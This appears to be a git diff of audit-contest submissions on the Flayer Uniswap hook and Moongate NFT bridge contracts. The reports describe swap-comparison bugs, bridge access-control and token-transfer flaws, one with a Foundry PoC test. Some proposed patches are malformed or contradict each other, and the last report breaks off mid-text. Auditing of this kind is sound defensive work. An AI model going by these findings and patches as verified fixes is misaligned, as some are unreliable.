+In [UniswapImplementation.sol#L547](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L547) the value being compared is `tokenOut` instead of `ethIn`.
+
+
+### Internal pre-conditions
+
+In case when not attacker deposits their fees, there is a pre-condition that there should be fees in collateral token accrued by the hook. Otherwise, the attacker must deposit some fees in collateral token to activate the bug.
+
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+There are two cases, when the fees are deposited by the listings automatically and when the attacker deposits fees manually to activate the bug earlier.
+
+After that, when user tries to swap an amount X of native token to the collateral token, and the fees accrued in collateral token are worth more in native token that the amount being swapped, the swap reverts.
+
+### Impact
+
+Inability to swap native token to collateral token with native token amount lower or equal to the collateral token fees value.
+
+
+### PoC
+
+Run this test as part of `UniswapImplementation.t.sol`.
+
+```solidity
+ function test_abuser_InabilityToSwapEqualOrMoreAmount1ThanFees() public withLiquidity {
+ // @audit PoC: InabilityToSwapEqualOrMoreAmount1ThanFees
+ // When there are X fees added in amount1, users cannot swap native to token1 than with native amount lower or equal to value of fees in amount1
+
+ // Remove any collection tokens we may have
+ deal(address(unflippedToken), address(this), 0);
+
+ // Give tokens and approfe for deposit fees
+ deal(address(unflippedToken), address(this), 0.1 ether);
+ unflippedToken.approve(address(uniswapImplementation), type(uint).max);
+ uniswapImplementation.depositFees(address(unflippedErc), 0, 0.1 ether);
+
+ // Give tokens and approve for swap
+ WETH.approve(address(poolSwap), type(uint).max);
+ deal(address(WETH), address(this), 0.2 ether);
+
+ PoolKey memory poolKey = _poolKey(false);
+
+ (uint160 sqrtPriceX96, , , ) = poolManager.getSlot0(poolKey.toId());
+
+ IPoolManager.SwapParams memory swapParams = IPoolManager.SwapParams({
+ zeroForOne: true,
+ amountSpecified: -0.2 ether,
+ sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
+ });
+
+ // Action our swap on unflipped
+ poolSwap.swap(
+ poolKey,
+ swapParams,
+ PoolSwapTest.TestSettings({
+ takeClaims: false,
+ settleUsingBurn: false
+ }),
+ ''
+ );
+ }
+```
+
+### Mitigation
+
+Fix the comparison in [this line](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L547):
+```diff
+- if (tokenOut <= uint(-params.amountSpecified)) {
++ if (ethIn <= uint(-params.amountSpecified)) {
+```
\ No newline at end of file
diff --git a/010/754.md b/010/754.md
new file mode 100644
index 0000000..5642d6b
--- /dev/null
+++ b/010/754.md
@@ -0,0 +1,88 @@
+Uneven Burlap Dalmatian
+
+Medium
+
+# ```UniswapV4Implementation::beforeSwap()``` incorrectly the ```beforeSwapDelta_``` comparing ```tokenOut``` with ```amountSpecified``` while the ```amountSpecified``` is in ```WETH``` terms.
+
+### Summary
+
+The ```UniswapV4Implementation::beforeSwap()``` compares two variables of different terms when it is about to change the ```beforeSwapDelta_``` leading to unexpected behaviour of the hook.
+
+### Root Cause
+
+In ```UniswapV4Implementation::beforeSwap()```, when the user is about to swap ```WETH``` for a ```CollectionToken```, there is two options. He can have specified either the exact ```CollectionToken```s he wants to get out or he can have specified the exact ```WETH```s he want to send in the Pool. The variable ```SwapParams.amountSpecified``` does this job and if it is negative then it represents the ```WETH in``` amount and if it is positive then it represents the ```CT out``` amount. Let's see the ```UniswapV4Implementation::beforeSwap()```:
+```solidity
+function beforeSwap(address sender, PoolKey calldata key, IPoolManager.SwapParams memory params, bytes calldata hookData) public override onlyByPoolManager returns (bytes4 selector_, BeforeSwapDelta beforeSwapDelta_, uint24 swapFee_) {
+ // ...
+
+ // Since we have a positive amountSpecified, we can determine the maximum
+ // amount that we can transact from our pool fees. We do this by taking the
+ // max value of either the pool fees or the amount specified to swap for.
+ if (params.amountSpecified >= 0) {
+ // ...
+ }
+ // As we have a negative amountSpecified, this means that we are spending any amount
+ // of token to get a specific amount of undesired token.
+@> else {
+ (, ethIn, tokenOut, ) = SwapMath.computeSwapStep({
+ sqrtPriceCurrentX96: sqrtPriceX96,
+ sqrtPriceTargetX96: params.sqrtPriceLimitX96,
+ liquidity: poolManager.getLiquidity(poolId),
+ amountRemaining: int(pendingPoolFees.amount1),
+ feePips: 0
+ });
+
+ // If we cannot fulfill the full amount of the internal orderbook, then we want
+ // to avoid using any of it, as implementing proper support for exact input swaps
+ // is significantly difficult when we want to restrict them by the output token
+ // we have available.
+@> if (tokenOut <= uint(-params.amountSpecified)) {
+ // Update our hook delta to reduce the upcoming swap amount to show that we have
+ // already spent some of the ETH and received some of the underlying ERC20.
+ // Specified = exact input (ETH)
+ // Unspecified = token1
+ beforeSwapDelta_ = toBeforeSwapDelta(ethIn.toInt128(), -tokenOut.toInt128());
+ } else {
+ ethIn = tokenOut = 0;
+ }
+ }
+
+ // ...
+ }
+
+ // Set our return selector
+ selector_ = IHooks.beforeSwap.selector;
+ }
+```
+[Link to code](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L490)
+
+As we can see in the second ```@>```, in the statement we compare ```tokensOut``` which is in ```CollectionToken``` terms with ```amountSpecified```. However, this is in the case where ```amountSpecified``` is negative so it is referring to ```WETH``` terms and not ```CT``` terms.
+
+### Internal pre-conditions
+
+1. Pool to have been initialized and have some liquidity.
+
+### External pre-conditions
+
+1. A user to try to swap ```WETH``` for CT(```collectionToken```) with ```amountSpecified``` negative meaning in ```WETH``` terms.
+
+### Attack Path
+
+1. Liquidity be added through ```Locker::initializeCollection()``` on the Pool.
+2. User tries to swap WETH for ETH and specifies the WETH in.
+
+### Impact
+
+The impact of this flaw on ```UniswapV4Implementation::beforeSwap()``` can cause unexpected reverts on some swaps with users not knowing what went wrong. As a result, it will be possible, due to this comparing of ```WETH``` and ```CollectionToken``` which may have different decimals and denomination), lots of swaps from WETH to CT to be reverted or passing while they shouldn't be.
+
+### PoC
+
+No PoC needed.
+
+### Mitigation
+
+To mitigate successfully this vulnerability, consider making this change on ```UniswapV4Implementation::beforeSwap()``` :
+```diff
+- if (tokenOut <= uint(-params.amountSpecified))
++ if (ethIn <= uint(-params.amountSpecified))
+```
\ No newline at end of file
diff --git a/010/770.md b/010/770.md
new file mode 100644
index 0000000..6683dc8
--- /dev/null
+++ b/010/770.md
@@ -0,0 +1,51 @@
+Polite Macaroon Parakeet
+
+High
+
+# Protocol will still use fee to cover exact-in swaps even when fee is not enough to fill
+
+## Summary
+Due to the logic error, beforeSwap() will still use fee to cover the swap ( for exact in swap) even when it is not enough to do so.
+
+## Vulnerability Detail
+As commented in the code, in swaps using exact in option, using fee to cover the swaps should be avoided
+```solidity
+ // If we cannot fulfill the full amount of the internal orderbook, then we want
+ // to avoid using any of it, as implementing proper support for exact input swaps
+ // is significantly difficult when we want to restrict them by the output token
+ // we have available.
+```
+However, due to the logic error in the current implementation, **fee will be used only when it is not enough to cover the swap (and vice versa)**, which is opposite with the intent stated in the comment.
+
+```solidity
+ >>> if (tokenOut <= uint(-params.amountSpecified)) { //@audit - opposite with the comments
+ // Update our hook delta to reduce the upcoming swap amount to show that we have
+ // already spent some of the ETH and received some of the underlying ERC20.
+ // Specified = exact input (ETH)
+ // Unspecified = token1
+ beforeSwapDelta_ = toBeforeSwapDelta(ethIn.toInt128(), -tokenOut.toInt128());
+ } else {
+ ethIn = tokenOut = 0;
+ }
+```
+## Impact
+Incorrect fee swap management (selling/buying token) might affect the price of the collection token negatively.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L543-L556
+## Tool used
+
+Manual Review
+
+## Recommendation
+Consider this change:
+```solidity
+ >>> if (tokenOut >= uint(-params.amountSpecified)) {
+ // Update our hook delta to reduce the upcoming swap amount to show that we have
+ // already spent some of the ETH and received some of the underlying ERC20.
+ // Specified = exact input (ETH)
+ // Unspecified = token1
+ beforeSwapDelta_ = toBeforeSwapDelta(ethIn.toInt128(), -tokenOut.toInt128());
+ } else {
+ ethIn = tokenOut = 0;
+ }
+```
\ No newline at end of file
diff --git a/011/003.md b/011/003.md
new file mode 100644
index 0000000..7d77186
--- /dev/null
+++ b/011/003.md
@@ -0,0 +1,53 @@
+Large Saffron Toad
+
+High
+
+# Bridging from L1 to L2 will always result in DOS
+
+## Summary
+A wrong access control check causes `thresholdCross` to always revert.
+## Vulnerability Detail
+The path in order to bridge from L1 to L2 is the following:
+1)The user calls `infernalRiftAbove` `crossTheThreshold`.
+2)`crossTheThreshold` makes a call to `OptimismPortal` calling `depositTransaction`
+3)The deposit transaction function of optimism will execute the following code:
+```solidity
+ if (msg.sender != tx.origin) {
+ from = AddressAliasHelper.applyL1ToL2Alias(msg.sender);
+ }
+
+ // Compute the opaque data that will be emitted as part of the TransactionDeposited event.
+ // We use opaque data so that we can update the TransactionDeposited event in the future
+ // without breaking the current interface.
+ bytes memory opaqueData = abi.encodePacked(_mint, _value, _gasLimit, _isCreation, _data);
+
+ // Emit a TransactionDeposited event so that the rollup node can derive a deposit
+ // transaction for this deposit.
+ emit TransactionDeposited(from, _to, DEPOSIT_VERSION, opaqueData);
+```
+(https://github.com/ethereum-optimism/optimism/blob/375b9766bdf4678253932beae8234cc52f1f46ee/packages/contracts-bedrock/src/L1/OptimismPortal.sol#L547C6-L558C75)
+As you can see it creates data and a rollup node will derive a transaction for the deposit.
+The problematic access control of the `thresholdCross` function is the following:
+```solidity
+ // Calculate the expected aliased address of INFERNAL_RIFT_ABOVE
+ address expectedAliasedSender = address(
+ uint160(INFERNAL_RIFT_ABOVE) +
+ uint160(0x1111000000000000000000000000000000001111)
+ );
+
+ // Ensure the msg.sender is the aliased address of {InfernalRiftAbove}
+ if (msg.sender != expectedAliasedSender) {
+ revert CrossChainSenderIsNotRiftAbove();
+ }
+```
+However the msg.sender is not the address of `InfernalRiftAbove` because on L2, when the function `thresholdCross` in `InfernalRiftBelow` is executed, the msg.sender will be the L2 Cross-Domain Messenger contract.
+## Impact
+Full DOS of the bridging
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L143
+## Tool used
+
+Manual Review
+
+## Recommendation
+Use the `xDomainMessageSender` function of optimism to validate the transaction origin.
\ No newline at end of file
diff --git a/011/086.md b/011/086.md
new file mode 100644
index 0000000..cd2dc0b
--- /dev/null
+++ b/011/086.md
@@ -0,0 +1,117 @@
+Small Azure Poodle
+
+Medium
+
+# Unhandled Token Transfer Failures in `returnFromTheThreshold` Function
+
+## Summary
+The `returnFromTheThreshold` function in the `InfernalRiftAbove` contract has no mechanism to handle failures during token transfers. This can lead to tokens being permanently locked in the contract if the transfer fails.
+
+## Vulnerability Detail
+The function attempts to transfer ERC721 and ERC1155 tokens back to a recipient on L1. However, it does not check for or handle failures during these transfers. Specifically, the use of `transferFrom` for ERC721 and `safeTransferFrom` for ERC1155 does not include any fallback or error handling logic.
+```solidity
+206: function returnFromTheThreshold(
+207: address[] calldata collectionAddresses,
+208: uint[][] calldata idsToCross,
+209: uint[][] calldata amountsToCross,
+210: address recipient
+211: ) external {
+212: // Validate caller is cross-chain
+---
+213: if (msg.sender != L1_CROSS_DOMAIN_MESSENGER) {
+214: revert NotCrossDomainMessenger();
+215: }
+216:
+---
+218: if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() != INFERNAL_RIFT_BELOW) {
+219: revert CrossChainSenderIsNotRiftBelow();
+220: }
+221:
+---
+223: uint numCollections = collectionAddresses.length;
+224: uint numIds;
+225:
+---
+227: for (uint i; i < numCollections; ++i) {
+228: numIds = idsToCross[i].length;
+229:
+230: for (uint j; j < numIds; ++j) {
+231: if (amountsToCross[i][j] == 0) {
+232:@=> IERC721Metadata(collectionAddresses[i]).transferFrom(address(this), recipient, idsToCross[i][j]);
+233: } else {
+234:@=> IERC1155MetadataURI(collectionAddresses[i]).safeTransferFrom(address(this), recipient, idsToCross[i][j], amountsToCross[i][j], '');
+235: }
+236: }
+237: }
+238:
+---
+239: emit BridgeFinalized(address(INFERNAL_RIFT_BELOW), collectionAddresses, idsToCross, amountsToCross, recipient);
+240: }
+```
+
+## Impact
+Tokens can remain locked in the contract
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L206-L240
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Implement error handling and logging to manage transfer failures.
+```diff
+function returnFromTheThreshold(
+ address[] calldata collectionAddresses,
+ uint[][] calldata idsToCross,
+ uint[][] calldata amountsToCross,
+ address recipient
+) external {
+ if (msg.sender != L1_CROSS_DOMAIN_MESSENGER) {
+ revert NotCrossDomainMessenger();
+ }
+
+ if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() != INFERNAL_RIFT_BELOW) {
+ revert CrossChainSenderIsNotRiftBelow();
+ }
+
+ uint numCollections = collectionAddresses.length;
+ uint numIds;
+
+ for (uint i; i < numCollections; ++i) {
+ numIds = idsToCross[i].length;
+
+ for (uint j; j < numIds; ++j) {
+- numIds = idsToCross[i].length;
+
+- for (uint j; j < numIds; ++j) {
+- if (amountsToCross[i][j] == 0) {
+- IERC721Metadata(collectionAddresses[i]).transferFrom(address(this), recipient, idsToCross[i][j]);
+- } else {
+- IERC1155MetadataURI(collectionAddresses[i]).safeTransferFrom(address(this), recipient, idsToCross[i][j], amountsToCross[i][j], '');
+ }
+ }
+
++ try IERC721Metadata(collectionAddresses[i]).transferFrom(address(this), recipient, idsToCross[i][j]) {
+ // Log successful transfer
++ } catch {
+ // Handle transfer failure
++ emit TransferFailed(collectionAddresses[i], idsToCross[i][j], recipient);
+ }
+
++ try IERC1155MetadataURI(collectionAddresses[i]).safeTransferFrom(address(this), recipient, idsToCross[i][j], amountsToCross[i][j], '') {
+ // Log successful transfer
++ } catch {
+ // Handle transfer failure
++ emit TransferFailed(collectionAddresses[i], idsToCross[i][j], recipient);
+ }
+ }
+ }
+
+ emit BridgeFinalized(address(INFERNAL_RIFT_BELOW), collectionAddresses, idsToCross, amountsToCross, recipient);
+}
+
+// Event to log transfer failures
++ event TransferFailed(address indexed collectionAddress, uint indexed tokenId, address indexed recipient);
+```
\ No newline at end of file
diff --git a/011/088.md b/011/088.md
new file mode 100644
index 0000000..6bcb3d9
--- /dev/null
+++ b/011/088.md
@@ -0,0 +1,154 @@
+Small Azure Poodle
+
+High
+
+# Unhandled Cross-Chain Message Failure in `returnFromThreshold`
+
+## Summary
+The `returnFromThreshold` function in the `InfernalRiftBelow` contract lacks a mechanism to handle failures in cross-chain message delivery. This can lead to tokens being locked within the contract if the message to the L1 contract fails, resulting in potential loss of user assets and disruption of the bridging process.
+
+## Vulnerability Detail
+The `returnFromThreshold` function sends a cross-chain message using the `L2_CROSS_DOMAIN_MESSENGER`. However, it does not account for scenarios where the message fails to be delivered or processed on the L1 side. This lack of error handling can cause tokens to remain in the L2 contract indefinitely.
+```solidity
+166: function returnFromThreshold(IInfernalRiftAbove.ThresholdCrossParams memory params) external {
+167: uint numCollections = params.collectionAddresses.length;
+168: address[] memory l1CollectionAddresses = new address[](numCollections);
+169: address l1CollectionAddress;
+170: uint numIds;
+171: uint amountToCross;
+172:
+---
+174: for (uint i; i < numCollections; ++i) {
+175: numIds = params.idsToCross[i].length;
+176:
+---
+179: for (uint j; j < numIds; ++j) {
+180: amountToCross = params.amountsToCross[i][j];
+181: if (amountToCross == 0) {
+182: IERC721(params.collectionAddresses[i]).transferFrom(msg.sender, address(this), params.idsToCross[i][j]);
+183: } else {
+184: IERC1155(params.collectionAddresses[i]).safeTransferFrom(msg.sender, address(this), params.idsToCross[i][j], amountToCross, '');
+185: }
+186: }
+187:
+---
+189: l1CollectionAddress = l1AddressForL2Collection[params.collectionAddresses[i]];
+190:
+---
+192: if (l1CollectionAddress == address(0)) revert L1CollectionDoesNotExist();
+193: l1CollectionAddresses[i] = l1CollectionAddress;
+194: }
+195:
+---
+197:@=> L2_CROSS_DOMAIN_MESSENGER.sendMessage(
+198:@=> INFERNAL_RIFT_ABOVE,
+199:@=> abi.encodeCall(
+200:@=> IInfernalRiftAbove.returnFromTheThreshold,
+201:@=> (l1CollectionAddresses, params.idsToCross, params.amountsToCross, params.recipient)
+202: ),
+203:@=> uint32(params.gasLimit)
+204: );
+205:
+---
+206: emit BridgeStarted(address(INFERNAL_RIFT_ABOVE), params.collectionAddresses, l1CollectionAddresses, params.idsToCross, params.amountsToCross, params.recipient);
+207: }
+```
+
+## Impact
+- Tokens intended for return to L1 remain locked in the L2 contract, leading to user asset loss.
+- The bridging process may be interrupted, causing operational disruptions.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L166-L207
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Implement a mechanism to handle message delivery failures.
+```diff
+function returnFromThreshold(IInfernalRiftAbove.ThresholdCrossParams memory params) external {
+ uint numCollections = params.collectionAddresses.length;
+ address[] memory l1CollectionAddresses = new address[](numCollections);
+ address l1CollectionAddress;
+ uint numIds;
+ uint amountToCross;
+
+ // Iterate over our collections
+ for (uint i; i < numCollections; ++i) {
+ numIds = params.idsToCross[i].length;
+
+ for (uint j; j < numIds; ++j) {
+ amountToCross = params.amountsToCross[i][j];
+ if (amountToCross == 0) {
+ IERC721(params.collectionAddresses[i]).transferFrom(msg.sender, address(this), params.idsToCross[i][j]);
+ } else {
+ IERC1155(params.collectionAddresses[i]).safeTransferFrom(msg.sender, address(this), params.idsToCross[i][j], amountToCross, '');
+ }
+ }
+
+ l1CollectionAddress = l1AddressForL2Collection[params.collectionAddresses[i]];
+
+ if (l1CollectionAddress == address(0)) revert L1CollectionDoesNotExist();
+ l1CollectionAddresses[i] = l1CollectionAddress;
+ }
+
+ // Attempt to send the message to {InfernalRiftAbove}
+ try L2_CROSS_DOMAIN_MESSENGER.sendMessage(
+- L2_CROSS_DOMAIN_MESSENGER.sendMessage(
+ INFERNAL_RIFT_ABOVE,
+ abi.encodeCall(
+ IInfernalRiftAbove.returnFromTheThreshold,
+ (l1CollectionAddresses, params.idsToCross, params.amountsToCross, params.recipient)
+ ),
+ uint32(params.gasLimit)
+ ) {
+ emit BridgeStarted(address(INFERNAL_RIFT_ABOVE), params.collectionAddresses, l1CollectionAddresses, params.idsToCross, params.amountsToCross, params.recipient);
++ } catch {
+ // Log the failure and store the message details for potential retry
++ emit MessageSendFailed(params.collectionAddresses, params.idsToCross, params.amountsToCross, params.recipient);
+
+ // Optionally, store the failed message details for retry
++ failedMessages.push(FailedMessage({
++ collectionAddresses: params.collectionAddresses,
++ idsToCross: params.idsToCross,
++ amountsToCross: params.amountsToCross,
++ recipient: params.recipient,
++ gasLimit: params.gasLimit
+ }));
+ }
+}
+
+// Structure to store failed message details
++ struct FailedMessage {
++ address[] collectionAddresses;
++ uint[][] idsToCross;
++ uint[][] amountsToCross;
++ address recipient;
++ uint gasLimit;
+}
+
+// Array to store failed messages
++ FailedMessage[] public failedMessages;
+
+// Function to retry sending failed messages
++ function retryFailedMessage(uint index) external {
++ FailedMessage memory failedMessage = failedMessages[index];
+
++ try L2_CROSS_DOMAIN_MESSENGER.sendMessage(
++ INFERNAL_RIFT_ABOVE,
++ abi.encodeCall(
++ IInfernalRiftAbove.returnFromTheThreshold,
++ (failedMessage.collectionAddresses, failedMessage.idsToCross, failedMessage.amountsToCross, failedMessage.recipient)
+ ),
++ uint32(failedMessage.gasLimit)
+ ) {
++ emit BridgeStarted(address(INFERNAL_RIFT_ABOVE), failedMessage.collectionAddresses, failedMessage.collectionAddresses, failedMessage.idsToCross, failedMessage.amountsToCross, failedMessage.recipient);
+ // Remove the message from the failedMessages list
++ delete failedMessages[index];
++ } catch {
++ emit MessageRetryFailed(failedMessage.collectionAddresses, failedMessage.idsToCross, failedMessage.amountsToCross, failedMessage.recipient);
+ }
+}
+```
\ No newline at end of file
diff --git a/011/090.md b/011/090.md
new file mode 100644
index 0000000..09d244d
--- /dev/null
+++ b/011/090.md
@@ -0,0 +1,219 @@
+Small Azure Poodle
+
+High
+
+# Unhandled Token Transfer and Minting Failures in Cross-Chain Operations
+
+## Summary
+The `_thresholdCross721` and `_thresholdCross1155` functions in the `InfernalRiftBelow` contract lack mechanisms to handle failures during token transfer and minting operations. This can lead to tokens being lost or not transferred correctly, potentially resulting in asset loss for users and disruption of the bridging process.
+
+## Vulnerability Detail
+The functions `_thresholdCross721` and `_thresholdCross1155` perform critical operations involving the transfer and minting of tokens. However, they do not implement error handling mechanisms to manage failures in these operations.
+```solidity
+234: function _thresholdCross721(Package memory package, address recipient) internal returns (address l2CollectionAddress) {
+235: ERC721Bridgable l2Collection721;
+236:
+---
+237: address l1CollectionAddress = package.collectionAddress;
+238: l2CollectionAddress = l2AddressForL1Collection(l1CollectionAddress, false);
+239:
+---
+241: if (!isDeployedOnL2(l1CollectionAddress, false)) {
+242: Clones.cloneDeterministic(ERC721_BRIDGABLE_IMPLEMENTATION, bytes32(bytes20(l1CollectionAddress)));
+243:
+---
+245: l2Collection721 = ERC721Bridgable(l2CollectionAddress);
+246: l2Collection721.initialize(package.name, package.symbol, package.royaltyBps, package.chainId, l1CollectionAddress);
+247:
+---
+249: l1AddressForL2Collection[l2CollectionAddress] = l1CollectionAddress;
+250: }
+---
+252: else {
+253: l2Collection721 = ERC721Bridgable(l2CollectionAddress);
+254: }
+255:
+---
+257: uint numIds = package.ids.length;
+258: uint id;
+259:
+---
+260:@=> for (uint j; j < numIds; ++j) {
+261:@=> id = package.ids[j];
+262:
+---
+264:@=> if (l2Collection721.ownerOf(id) == address(this)) {
+265:@=> l2Collection721.transferFrom(address(this), recipient, id);
+266:@=> } else {
+267:@=> l2Collection721.setTokenURIAndMintFromRiftAbove(id, package.uris[j], recipient);
+268: }
+269: }
+270: }
+271:
+---
+272: function _thresholdCross1155(Package memory package, address recipient) internal returns (address l2CollectionAddress) {
+273: ERC1155Bridgable l2Collection1155;
+274:
+---
+275: address l1CollectionAddress = package.collectionAddress;
+276: l2CollectionAddress = l2AddressForL1Collection(l1CollectionAddress, true);
+277:
+---
+279: if (!isDeployedOnL2(l1CollectionAddress, true)) {
+280: Clones.cloneDeterministic(ERC1155_BRIDGABLE_IMPLEMENTATION, bytes32(bytes20(l1CollectionAddress)));
+281:
+---
+283: l2Collection1155 = ERC1155Bridgable(l2CollectionAddress);
+284: l2Collection1155.initialize(package.royaltyBps, package.chainId, l1CollectionAddress);
+285:
+---
+287: l1AddressForL2Collection[l2CollectionAddress] = l1CollectionAddress;
+288: }
+---
+290: else {
+291: l2Collection1155 = ERC1155Bridgable(l2CollectionAddress);
+292: }
+293:
+---
+295: uint numIds = package.ids.length;
+296:
+---
+297: uint id;
+298: uint amount;
+299:
+---
+300:@=> for (uint j; j < numIds; ++j) {
+301:@=> id = package.ids[j];
+302:@=> amount = package.amounts[j];
+303:
+---
+305:@=> uint held = l2Collection1155.balanceOf(address(this), id);
+306:
+---
+308:@=> uint transfer = held > amount ? amount : held;
+309:@=> uint mint = amount - transfer;
+310:
+---
+311:@=> if (transfer != 0) {
+312:@=> l2Collection1155.safeTransferFrom(address(this), recipient, id, transfer, '');
+313: }
+314:
+---
+315:@=> if (mint != 0) {
+316:@=> l2Collection1155.setTokenURIAndMintFromRiftAbove(id, mint, package.uris[j], recipient);
+317: }
+318: }
+319: }
+```
+
+## Impact
+- Failure in transfer or minting may result in tokens not being transferred or minted properly, resulting in the loss of user assets.
+- Unhandled failures can stop the bridging process.
+
+## Code Snippet
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L234-L270
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L272-L319
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+- Use `try-catch` blocks to handle exceptions that may occur during transfer and minting operations.
+- Emit an event that records a transfer or minting failure.
+- Provide a fallback mechanism that allows users to retry a transfer or minting in the event of failure, or to reclaim their tokens if necessary.
+```diff
+function _thresholdCross721(Package memory package, address recipient) internal returns (address l2CollectionAddress) {
+ ERC721Bridgable l2Collection721;
+
+ address l1CollectionAddress = package.collectionAddress;
+ l2CollectionAddress = l2AddressForL1Collection(l1CollectionAddress, false);
+
+ if (!isDeployedOnL2(l1CollectionAddress, false)) {
+ Clones.cloneDeterministic(ERC721_BRIDGABLE_IMPLEMENTATION, bytes32(bytes20(l1CollectionAddress)));
+ l2Collection721 = ERC721Bridgable(l2CollectionAddress);
+ l2Collection721.initialize(package.name, package.symbol, package.royaltyBps, package.chainId, l1CollectionAddress);
+ l1AddressForL2Collection[l2CollectionAddress] = l1CollectionAddress;
+ } else {
+ l2Collection721 = ERC721Bridgable(l2CollectionAddress);
+ }
+
+ uint numIds = package.ids.length;
+ uint id;
+
+ for (uint j; j < numIds; ++j) {
+ id = package.ids[j];
+
+- if (l2Collection721.ownerOf(id) == address(this)) {
+- l2Collection721.transferFrom(address(this), recipient, id);
+- } else {
+- l2Collection721.setTokenURIAndMintFromRiftAbove(id, package.uris[j], recipient);
+ }
+
++ try l2Collection721.ownerOf(id) returns (address owner) {
++ if (owner == address(this)) {
++ try l2Collection721.transferFrom(address(this), recipient, id) {
+ // Transfer successful
++ } catch {
++ emit TransferFailed(l2CollectionAddress, id, recipient);
+ }
++ } else {
++ try l2Collection721.setTokenURIAndMintFromRiftAbove(id, package.uris[j], recipient) {
+ // Minting successful
++ } catch {
++ emit MintingFailed(l2CollectionAddress, id, recipient);
+ }
+ }
++ } catch {
++ emit OwnershipCheckFailed(l2CollectionAddress, id);
+ }
+ }
+}
+
+function _thresholdCross1155(Package memory package, address recipient) internal returns (address l2CollectionAddress) {
+ ERC1155Bridgable l2Collection1155;
+
+ address l1CollectionAddress = package.collectionAddress;
+ l2CollectionAddress = l2AddressForL1Collection(l1CollectionAddress, true);
+
+ if (!isDeployedOnL2(l1CollectionAddress, true)) {
+ Clones.cloneDeterministic(ERC1155_BRIDGABLE_IMPLEMENTATION, bytes32(bytes20(l1CollectionAddress)));
+ l2Collection1155 = ERC1155Bridgable(l2CollectionAddress);
+ l2Collection1155.initialize(package.royaltyBps, package.chainId, l1CollectionAddress);
+ l1AddressForL2Collection[l2CollectionAddress] = l1CollectionAddress;
+ } else {
+ l2Collection1155 = ERC1155Bridgable(l2CollectionAddress);
+ }
+
+ uint numIds = package.ids.length;
+ uint id;
+ uint amount;
+
+ for (uint j; j < numIds; ++j) {
+ id = package.ids[j];
+ amount = package.amounts[j];
+
+ uint held = l2Collection1155.balanceOf(address(this), id);
+ uint transfer = held > amount ? amount : held;
+ uint mint = amount - transfer;
+
+ if (transfer != 0) {
+- l2Collection1155.safeTransferFrom(address(this), recipient, id, transfer, '');
++ try l2Collection1155.safeTransferFrom(address(this), recipient, id, transfer, '') {
+ // Transfer successful
++ } catch {
++ emit TransferFailed(l2CollectionAddress, id, recipient);
+ }
+ }
+
+ if (mint != 0) {
+- l2Collection1155.setTokenURIAndMintFromRiftAbove(id, mint, package.uris[j], recipient);
++ try l2Collection1155.setTokenURIAndMintFromRiftAbove(id, mint, package.uris[j], recipient) {
+ // Minting successful
++ } catch {
++ emit MintingFailed(l2CollectionAddress, id, recipient);
+ }
+ }
+ }
+}
+```
\ No newline at end of file
diff --git a/011/353.md b/011/353.md
new file mode 100644
index 0000000..26d3ba0
--- /dev/null
+++ b/011/353.md
@@ -0,0 +1,119 @@
+Soft Violet Lion
+
+High
+
+# Trigger cross thresold after user's l2 to l1 bridge leads to loss of fund
+
+## Summary
+
+lose of fund when handling ERC1155 transfer
+
+## Vulnerability Detail
+
+In the rift below, as we can see, the ERC1155 token needs to be [transferred in](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L184) from the nft owner to the bridge.
+
+```solidity
+ /**
+ * Handles the bridging of tokens from the L2 back to L1.
+ */
+ function returnFromThreshold(IInfernalRiftAbove.ThresholdCrossParams memory params) external {
+ uint numCollections = params.collectionAddresses.length;
+ address[] memory l1CollectionAddresses = new address[](numCollections);
+ address l1CollectionAddress;
+ uint numIds;
+ uint amountToCross;
+
+ // Iterate over our collections
+ for (uint i; i < numCollections; ++i) {
+ numIds = params.idsToCross[i].length;
+
+ // Iterate over the specified NFTs to pull them from the user and store
+ // within this contract for potential future bridging use.
+ for (uint j; j < numIds; ++j) {
+ amountToCross = params.amountsToCross[i][j];
+ if (amountToCross == 0) {
+ IERC721(params.collectionAddresses[i]).transferFrom(msg.sender, address(this), params.idsToCross[i][j]);
+ } else {
+ @ IERC1155(params.collectionAddresses[i]).safeTransferFrom(msg.sender, address(this), params.idsToCross[i][j], amountToCross, '');
+ }
+ }
+```
+
+but then in the function below
+
+```solidity
+function thresholdCross(Package[] calldata packages, address recipient) external {
+ // Calculate the expected aliased address of INFERNAL_RIFT_ABOVE
+ address expectedAliasedSender = address(
+ uint160(INFERNAL_RIFT_ABOVE) +
+ uint160(0x1111000000000000000000000000000000001111)
+ );
+
+ // Ensure the msg.sender is the aliased address of {InfernalRiftAbove}
+ if (msg.sender != expectedAliasedSender) {
+ revert CrossChainSenderIsNotRiftAbove();
+ }
+
+ // Go through and mint (or transfer) NFTs to recipient
+ uint numPackages = packages.length;
+ for (uint i; i < numPackages; ++i) {
+ Package memory package = packages[i];
+
+ address l2CollectionAddress;
+ if (package.amounts[0] == 0) {
+ l2CollectionAddress = _thresholdCross721(package, recipient);
+ } else {
